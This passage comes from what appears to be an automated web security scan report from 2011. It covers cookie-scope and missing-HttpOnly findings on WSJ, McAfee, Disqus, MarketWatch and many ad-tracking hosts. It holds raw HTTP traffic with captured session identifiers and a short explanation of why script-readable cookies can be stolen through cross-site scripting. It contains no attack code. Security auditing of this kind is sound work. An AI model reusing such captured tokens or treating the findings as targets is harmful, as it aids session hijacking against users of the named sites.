Cookie: recs-4f1ee888c9bcafd81af856a18a8cd37f="NSo8NrhUT+oopiezZu7hfJb/BwY0o/kY083N2eo5Bm7/agc3hhg3AFKQLEJCGxUZmgb4H+p4HQoiJivwCV7gHFAfKyX8brzE4bFP59hhbQyy1rXFnrYX1xWWw3q8h9qBUw3tIqhstFZ5WOXcO9UcZQ=="; obuid=8212382c-a920-4555-8b81-259021933018; tick=1305368089860; _lvs2="uaMqgoSgWEtsUDbY+ohiLYEnd3D/JQAT"; _lvd2="e0MjrHqXH8wCQxDytJnB4BE+GHumypnqBEDkfXDh08aKLwsTrHTO7g=="; _rcc2="c5YqA63GvjSl+Ov6ordflA=="; recs-4b72c754922b6d1a58711a223d14f3d1=TnHNzDqWEag8NHn5QHA73PWYP+XmFRGWl9kvLtJvNpRI36St1cmTbDBS3am5PkNu

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: obuid=8212382c-a920-4555-8b81-259021933018; Domain=.outbrain.com; Expires=Tue, 08-May-2012 10:16:08 GMT; Path=/
Cache-Control: no-cache
Pragma: no-cache
Set-Cookie: _rcc2=NXlRX9sMiunRtm+CPv1EhOsE3s6itk45; Domain=outbrain.com; Expires=Sat, 09-Jun-2012 10:16:08 GMT; Path=/
P3P: policyref="http://www.outbrain.com/w3c/p3p.xml",CP="NOI NID CURa DEVa TAIa PSAa PSDa OUR IND UNI"
Content-Length: 405
Date: Sat, 14 May 2011 10:16:08 GMT

<html>
<body onload="document.location.replace('http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390?Link=obinsite')">
<form method="get" action="htt
...[SNIP]...

14.68. http://www.bizographics.com/collect/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.bizographics.com
Path:	/collect/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

BizoID=7ff7b0a0-bb8d-41b5-8312-89cdb15bb1c3; Domain=.bizographics.com; Expires=Sat, 12-Nov-2011 22:09:22 GMT; Path=/
BizoData=tQCU97PJisstp2k43HHMf49Qb1MaQBj6WQYgisqeiidjQcqwKPXXDYVmkoawipO0Dfq1j0w30sQL9madkf8kozH7KYo5hnuk0JJGaj5XcunNcMDa7Re6IGD4lIVh8iiQkoK10Ad6xyMUDLG4HisD7PuAiisYPXoxU8ZPy3Exo4N71w46SKb0NrpeKvDEEAHRkUP4DRqV5iiQvIb66JyjE5cmLaumWulAJAT7BX2HrsROqwTV75bDCe4W2moTMN4isdjziiaqnDZEwnDMyxR1o4SE3xQyPhdhcTqO9nMoMLz1Ufz7IhFNdvz7ZkT79atQXGxxvra9g4U3CJ2wtdwM8iiVTP0Et7iiJPsiim5vOPNb1QJipLd4ekU1f7MrQxrTtB1Wxn268X1nippZxuFiiipNVtwB9MTZe7RE8fxtxX6WtcWGuKisYuwJC53f8ie; Domain=.bizographics.com; Expires=Sat, 12-Nov-2011 22:09:22 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /collect/?fmt=gif&url=wsj.com&pid=317&rnd=12740584230050444 HTTP/1.1
Host: www.bizographics.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/public/resources/documents/PixelTracking.html?site=interactive.wsj.com&zone=front_nonsub&pageId=0_0_WH_0001_public&cb=815576
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Content-Language: en-US
Date: Sat, 14 May 2011 10:09:22 GMT
Location: http://img.bizographics.com/1x1.gif
P3P: CP="NON DSP COR CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
Pragma: no-cache
Server: nginx/0.7.61
Set-Cookie: BizoID=7ff7b0a0-bb8d-41b5-8312-89cdb15bb1c3; Domain=.bizographics.com; Expires=Sat, 12-Nov-2011 22:09:22 GMT; Path=/
Set-Cookie: BizoData=tQCU97PJisstp2k43HHMf49Qb1MaQBj6WQYgisqeiidjQcqwKPXXDYVmkoawipO0Dfq1j0w30sQL9madkf8kozH7KYo5hnuk0JJGaj5XcunNcMDa7Re6IGD4lIVh8iiQkoK10Ad6xyMUDLG4HisD7PuAiisYPXoxU8ZPy3Exo4N71w46SKb0NrpeKvDEEAHRkUP4DRqV5iiQvIb66JyjE5cmLaumWulAJAT7BX2HrsROqwTV75bDCe4W2moTMN4isdjziiaqnDZEwnDMyxR1o4SE3xQyPhdhcTqO9nMoMLz1Ufz7IhFNdvz7ZkT79atQXGxxvra9g4U3CJ2wtdwM8iiVTP0Et7iiJPsiim5vOPNb1QJipLd4ekU1f7MrQxrTtB1Wxn268X1nippZxuFiiipNVtwB9MTZe7RE8fxtxX6WtcWGuKisYuwJC53f8ie; Domain=.bizographics.com; Expires=Sat, 12-Nov-2011 22:09:22 GMT; Path=/
Content-Length: 0
Connection: keep-alive

14.69. http://www.marketwatch.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

mw5_prefs=mox=False&exp=5/14/2013; domain=.marketwatch.com; expires=Tue, 14-May-2013 05:00:00 GMT; path=/
mw5_ads=seen=16; domain=.marketwatch.com; expires=Sun, 15-May-2011 04:59:59 GMT; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNetMvc-Version: 3.0
X-AspNet-Version: 4.0.30319
Set-Cookie: mw5_prefs=mox=False&exp=5/14/2013; domain=.marketwatch.com; expires=Tue, 14-May-2013 05:00:00 GMT; path=/
Set-Cookie: mw5_ads=seen=16; domain=.marketwatch.com; expires=Sun, 15-May-2011 04:59:59 GMT; path=/
X-Powered-By: ASP.NET
X-MACHINE: secdfpswebp04
Date: Sat, 14 May 2011 10:12:49 GMT
Content-Length: 244138

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="htt
...[SNIP]...

14.70. http://www.mcafeesecure.com/ads/1103/2 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mcafeesecure.com
Path:	/ads/1103/2

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

adclick=1103-2; domain=.mcafeesecure.com; path=/; expires=Sat, 11-Jun-2011 12:52:27 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /ads/1103/2 HTTP/1.1
Host: www.mcafeesecure.com
Proxy-Connection: keep-alive
Referer: http://www.mcafeesecure.com/RatingVerify?cb=lp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: resin=1724539402.20480.0000; __utmx=185732405.; __utmxx=185732405.; __utmz=185732405.1305377534.1.1.utmcsr=server.iad.liveperson.net|utmccn=(referral)|utmcmd=referral|utmcct=/hcp/integration/hackersafe/hackersafe-grey.html; __utma=185732405.396205410.1305377534.1305377534.1305377534.1; __utmc=185732405; __utmb=185732405.3.10.1305377534

Response

HTTP/1.1 302 Found
Server: McAfeeSecure
Vary: Accept-Encoding
Location: http://www.mcafeesecure.com/us/products/buy_now.jsp?tab=1
Set-Cookie: adclick=1103-2; domain=.mcafeesecure.com; path=/; expires=Sat, 11-Jun-2011 12:52:27 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 95
Connection: close
Date: Sat, 14 May 2011 12:52:27 GMT

The URL has moved <a href="http://www.mcafeesecure.com/us/products/buy_now.jsp?tab=1">here</a>

14.71. http://www.smartmoney.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.smartmoney.com
Path:	/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

djcs_route=02fb002c-b936-4695-85ac-26f056fb68c4; domain=.smartmoney.com; path=/; Expires=Tue May 11 06:13:34 2021; max-age=315360000

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15. Cookie without HttpOnly flag set previous next
There are 118 instances of this issue:

http://allthingsd-kara.disqus.com/remote_auth.js
http://allthingsd-kara.disqus.com/thread.js
https://commerce.wsj.com/auth/forgotpass
http://coretomic.com/
http://fanpeeps.com/
http://fanpeeps.com/SCALE20.gif
http://fanpeeps.com/bg2.jpg
https://home.mcafee.com/WebServices/AccountWebSvc.asmx/js
http://online.wsj.com/home-page
https://order.wsj.com/sub/f3
https://order.wsj.com/sub/f3/cookie_check
https://order.wsj.com/sub/f3/offer_form
https://order.wsj.com/sub/xdef/101/6BCWAE_OOT10
https://order.wsj.com/sub/xdef/113/6BFWA1_OOT
https://services.wsj.com/Gryphon/jsp/find_acct.jsp
http://t.mookie1.com/t/v1/imp
http://t.mookie1.com/t/v1/imp/cc
http://us.mcafee.com/root/basket.asp
http://us.mcafee.com/root/offer.asp
http://www.dinse.com/
http://www.fanpeeps.com/
http://ad.doubleclick.net/activity
http://ad.doubleclick.net/activity
http://ad.doubleclick.net/adi/interactive.wsj.com/weekend
http://ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/1364.0.img.170x40/3069166
http://ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/1364.0.img.170x40/3140697
http://ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/1364.0.img.170x40/3178619
http://ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/1364.0.img.170x40/3266447
http://ad.yieldmanager.com/pixel
http://ads.revsci.net/adserver/ako
http://ads.revsci.net/adserver/ako
http://ads.revsci.net/adserver/ako
http://altfarm.mediaplex.com/ad/js/13754-86576-1281-0
http://altfarm.mediaplex.com/ad/js/13754-86576-29158-0
http://amch.questionmarket.com/adsc/d845473/10/40348193/decide.php
http://api.bizographics.com/v1/profile.json
http://api.dimestore.com/viapi
http://api.twitter.com/1/statuses/user_timeline.json
http://b.scorecardresearch.com/b
http://b.scorecardresearch.com/r
http://bh.contextweb.com/bh/set.aspx
http://bp.specificclick.net/
http://bs.serving-sys.com/BurstingPipe/adServer.bs
http://bs.serving-sys.com/BurstingPipe/adServer.bs
http://bs.serving-sys.com/BurstingPipe/adServer.bs
http://c.statcounter.com/t.php
http://coretomic.com/epay.html
http://fls.doubleclick.net/activityi
http://fls.doubleclick.net/activityi
https://home.mcafee.com/secure/cart/
http://images.apple.com/global/nav/styles/navigation.css
http://images.apple.com/ipod/images/gradient_texture20100901.jpg
http://js.revsci.net/common/pcx.js
http://jtools.smartmoney.com/marketspectrum/spectrumServer
http://jtools.smartmoney.com/portfolio2/hp
http://l.sharethis.com/pview
http://leadback.advertising.com/adcedge/lb
http://metrics.apple.com/b/ss/applesuperglobal/1/H.20.3/s79162857956252
http://metrics.mcafee.com/b/ss/mcafeecomglobal/1/H.21/s81213273680768
http://mp.apmebf.com/ad/js/13754-86576-1281-0
http://odb.outbrain.com/utils/get
http://odb.outbrain.com/utils/get
http://odb.outbrain.com/utils/get
http://odb.outbrain.com/utils/get
http://odb.outbrain.com/utils/ping.html
http://om.dowjoneson.com/b/ss/djglobal,djwsj/1/H.20.3/s77142258654348
http://online.barrons.com/home
http://p.opt.fimserve.com/bht/
http://pix04.revsci.net/G07608/a4/0/0/pcx.js
http://pix04.revsci.net/G07608/b3/0/3/1008211/103680847.gif
http://pix04.revsci.net/G07608/b3/0/3/1008211/128779481.gif
http://pix04.revsci.net/G07608/b3/0/3/1008211/263206907.gif
http://pix04.revsci.net/G07608/b3/0/3/1008211/297502058.gif
http://pix04.revsci.net/G07608/b3/0/3/1008211/317069095.gif
http://pix04.revsci.net/G07608/b3/0/3/1008211/382438596.gif
http://pix04.revsci.net/G07608/b3/0/3/1008211/577937684.gif
http://pix04.revsci.net/G07608/b3/0/3/1008211/671305054.gif
http://pix04.revsci.net/G07608/b3/0/3/1008211/920211703.gif
http://pix04.revsci.net/G07608/b3/0/3/1008211/940857618.gif
http://pix04.revsci.net/G07608/b3/0/3/1008211/976949516.gif
http://pix04.revsci.net/G07608/b3/0/3/1008211/99829846.gif
http://pix04.revsci.net/I10981/b3/0/3/noscript.gif
http://pix04.revsci.net/I10981/b3/0/3/noscript.gif
http://pix04.revsci.net/I10981/b3/0/3/noscript.gif
http://server.iad.liveperson.net/hc/10599399/
http://server.iad.liveperson.net/hc/10599399/
http://server.iad.liveperson.net/hc/10599399/x.js
http://server.iad.liveperson.net/hc/44533531/
http://server.iad.liveperson.net/hc/44533531/
http://server.iad.liveperson.net/hc/44533531/
http://traffic.outbrain.com/network/redir
http://twitter.com/WSJHouse
http://www.bizographics.com/collect/
http://www.dinse.com/about_the_firm/Employment.html
http://www.dinse.com/about_the_firm/disclaimer.html
http://www.dinse.com/about_the_firm/history.html
http://www.dinse.com/about_the_firm/working_at_dinse.html
http://www.dinse.com/attorneys.html
http://www.dinse.com/attorneys/knapp.html
http://www.dinse.com/attorneys/mckearin.html
http://www.dinse.com/attorneys/monahan.html
http://www.dinse.com/contact.html
http://www.dinse.com/contact/email.html
http://www.dinse.com/index.html
http://www.dinse.com/news_events.html
http://www.dinse.com/news_events/in_the_news.html
http://www.dinse.com/news_events/in_the_news/20.html
http://www.dinse.com/practice-areas/employment.html
http://www.dinse.com/publications.html
http://www.gomeznetworks.com/css/GomezTheme.css
http://www.gomeznetworks.com/images/theme/compuware_gomez_logo.png
http://www.gomeznetworks.com/images/theme/platform_theme.png
http://www.gomeznetworks.com/tempstyle.css
http://www.marketwatch.com/
http://www.mcafeesecure.com/RatingVerify
http://www.mcafeesecure.com/ads/1103/2
http://www.scanalert.com/RatingVerify
http://www.smartmoney.com/

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

15.1. http://allthingsd-kara.disqus.com/remote_auth.js previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://allthingsd-kara.disqus.com
Path:	/remote_auth.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

sessionid=bd31446c19306a09400bd231026c0ce8; Domain=.disqus.com; expires=Sat, 28-May-2011 10:22:46 GMT; Max-Age=1209600; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.2. http://allthingsd-kara.disqus.com/thread.js previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://allthingsd-kara.disqus.com
Path:	/thread.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

sessionid=6e6e8ad49aa0d7774c4482858306d0b8; Domain=.disqus.com; expires=Sat, 28-May-2011 10:24:02 GMT; Max-Age=1209600; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.3. https://commerce.wsj.com/auth/forgotpass previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://commerce.wsj.com
Path:	/auth/forgotpass

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=2596B03C91DC2D512B2C97AF82579748.jboss2; Path=/; Secure

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /auth/forgotpass HTTP/1.1
Host: commerce.wsj.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; rsi_ct=2011_5_14:3; mbox=session#1305367797515-52119#1305370512|check#true#1305368712; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B%7C%7CFREEREGSCRIMCOUNT%3Dnull; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D; rsi_csl=lA; rsi_segs=G07608_10001

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:43:31 GMT
Server: Apache
X-Powered-By: Servlet 2.4; JBoss-4.0.5.GA (build: CVSTag=Branch_4_0 date=200610162339)/Tomcat-5.5
Set-Cookie: JSESSIONID=2596B03C91DC2D512B2C97AF82579748.jboss2; Path=/; Secure
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Keep-Alive: timeout=2, max=50
Connection: Keep-Alive
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 11008

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
...[SNIP]...

15.4. http://coretomic.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://coretomic.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

PHPSESSID=f6132a38909194bbf8a7695dd915e313; path=/
CNAuth=deleted; expires=Friday, 14-May-10 11:34:42 GMT; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: coretomic.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:34:43 GMT
Server: Apache/2.2.3 (Debian)
X-Powered-By: PHP/4.4.9
Set-Cookie: PHPSESSID=f6132a38909194bbf8a7695dd915e313; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: CNAuth=deleted; expires=Friday, 14-May-10 11:34:42 GMT; path=/
Content-Type: text/html; charset=iso-8859-1
Content-Length: 24669

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html>
<head>
<title>Coretomic - Home</title>

<meta http-equiv="Content-Type
...[SNIP]...

15.5. http://fanpeeps.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=b061a2ebeacf8a6612c80f00d65677a0; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: fanpeeps.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

15.6. http://fanpeeps.com/SCALE20.gif previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/SCALE20.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=84ecdb504a8826834895f41cd6c8bab8; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /SCALE20.gif HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: fanpeeps.com

Response

15.7. http://fanpeeps.com/bg2.jpg previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/bg2.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=69613d23e960b15a9b45ccee02a2f7fa; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /bg2.jpg HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: fanpeeps.com

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:47:55 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Set-Cookie: PHPSESSID=69613d23e960b15a9b45ccee02a2f7fa; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 17549

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...

15.8. https://home.mcafee.com/WebServices/AccountWebSvc.asmx/js previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://home.mcafee.com
Path:	/WebServices/AccountWebSvc.asmx/js

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

SessionInfo=AffiliateId=0&CampaignId=86873; path=/
SessionInfo=AffiliateId=0&CampaignId=86873; path=/
SessionInfo=AffiliateId=0&CampaignId=86873; path=/
IscartemptySiteidAffid=no-1-0; domain=mcafee.com; path=/

The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.9. http://online.wsj.com/home-page previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://online.wsj.com
Path:	/home-page

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

DJSESSION=ORCS%3dna%2cus; path=/; domain=.wsj.com
djcs_route=e3d83c8b-1ab1-48e1-816c-23e200bad9cc; domain=.wsj.com; path=/; Expires=Tue May 11 06:09:03 2021; max-age=315360000
DJCOOKIE=ORC%3dna%2cus; path=/; domain=.wsj.com; expires=Sun, 13-May-2012 10:09:03 GMT
wsjregion=na%2cus; path=/; domain=.wsj.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.10. https://order.wsj.com/sub/f3 previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://order.wsj.com
Path:	/sub/f3

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

_1pagesub_session_id=3350d918d094bb4ca13e51f2f0319341; path=/; expires=Sat, 14 May 2011 10:39:50 GMT

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.11. https://order.wsj.com/sub/f3/cookie_check previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://order.wsj.com
Path:	/sub/f3/cookie_check

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

_1pagesub_session_id=3350d918d094bb4ca13e51f2f0319341; path=/; expires=Sat, 14 May 2011 10:39:49 GMT

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.12. https://order.wsj.com/sub/f3/offer_form previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://order.wsj.com
Path:	/sub/f3/offer_form

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

_1pagesub_session_id=3350d918d094bb4ca13e51f2f0319341; path=/; expires=Sat, 14 May 2011 10:40:02 GMT

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.13. https://order.wsj.com/sub/xdef/101/6BCWAE_OOT10 previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://order.wsj.com
Path:	/sub/xdef/101/6BCWAE_OOT10

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

_1pagesub_session_id=3350d918d094bb4ca13e51f2f0319341; path=/; expires=Sat, 14 May 2011 10:42:36 GMT
promo_code=6BCWAE_OOT10; path=/; expires=Mon, 13 Jun 2011 10:12:36 GMT

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.14. https://order.wsj.com/sub/xdef/113/6BFWA1_OOT previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://order.wsj.com
Path:	/sub/xdef/113/6BFWA1_OOT

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

_1pagesub_session_id=baa9e9647ecfa1e0f3c9612754fe2c93; path=/; expires=Sat, 14 May 2011 10:39:46 GMT
promo_code=6BFWA1_OOT; path=/; expires=Mon, 13 Jun 2011 10:09:46 GMT

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.15. https://services.wsj.com/Gryphon/jsp/find_acct.jsp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://services.wsj.com
Path:	/Gryphon/jsp/find_acct.jsp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=0000nywJRsjXZVnIX7-nijR65qq:-1;Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.16. http://t.mookie1.com/t/v1/imp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://t.mookie1.com
Path:	/t/v1/imp

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

session=1305368239|1305368239; path=/; domain=.mookie1.com
id=633323350617849; path=/; expires=Thu, 07-Jun-12 10:17:19 GMT; domain=.mookie1.com
OAX=rcHW803OVq8AAJyf; path=/; expires=Thu, 07-Jun-12 10:17:19 GMT; domain=.mookie1.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.17. http://t.mookie1.com/t/v1/imp/cc previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://t.mookie1.com
Path:	/t/v1/imp/cc

Issue detail
